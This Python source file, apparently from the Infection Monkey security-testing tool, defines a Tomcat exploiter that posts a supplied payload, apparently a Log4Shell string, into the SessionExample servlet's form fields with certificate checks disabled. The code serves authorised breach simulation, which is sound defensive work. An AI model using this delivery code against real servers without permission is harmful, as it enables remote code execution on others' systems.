from logging import getLogger

import requests

from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
from infection_monkey.i_puppet import TargetHost

from .i_service_exploiter import IServiceExploiter

logger = getLogger(__name__)


class TomcatExploit(IServiceExploiter):
    service_name = "Apache Tomcat"

    @staticmethod
    def trigger_exploit(payload: str, host: TargetHost, port: int):
        url = f"http://{host.ip}:{port}/examples/servlets/servlet/SessionExample"
        payload_data = {"dataname": "foo", "datavalue": payload}
        try:
            requests.post(  # noqa DUO123
                url, data=payload_data, timeout=MEDIUM_REQUEST_TIMEOUT, verify=False
            )
        except requests.ReadTimeout as e:
            logger.debug(f"Log4shell request failed {e}")

        return url
